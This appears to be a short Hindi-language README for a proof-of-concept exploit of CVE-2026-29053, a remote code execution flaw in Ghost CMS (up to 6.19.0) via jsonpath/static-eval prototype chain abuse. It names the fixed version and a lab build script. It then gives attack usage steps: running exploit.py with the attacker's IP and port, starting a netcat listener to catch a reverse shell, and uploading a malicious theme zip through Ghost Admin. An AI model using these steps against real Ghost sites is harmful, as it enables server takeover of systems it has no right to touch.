CVE-2026-29053

Ghost CMS में jsonpath/static-eval प्रोटोटाइप चेन के माध्यम से RCE।

जानकारी

• CVE: CVE-2026-29053
• प्रभावित: Ghost <= 6.19.0 जिसमें jsonpath 1.1.1 + static-eval 2.0.2 है
• समाधान: 6.19.1

डेमो

CVE-2026-29053.webm

कमजोर वातावरण सेटअप करें

cd build
./build.sh

उपयोग

python3 exploit.py -i <YOUR_IP> -p <PORT>

1. लिसनर शुरू करें: nc -lvnp <PORT>
2. malicious-theme.zip को Ghost Admin → Settings → Design में अपलोड करें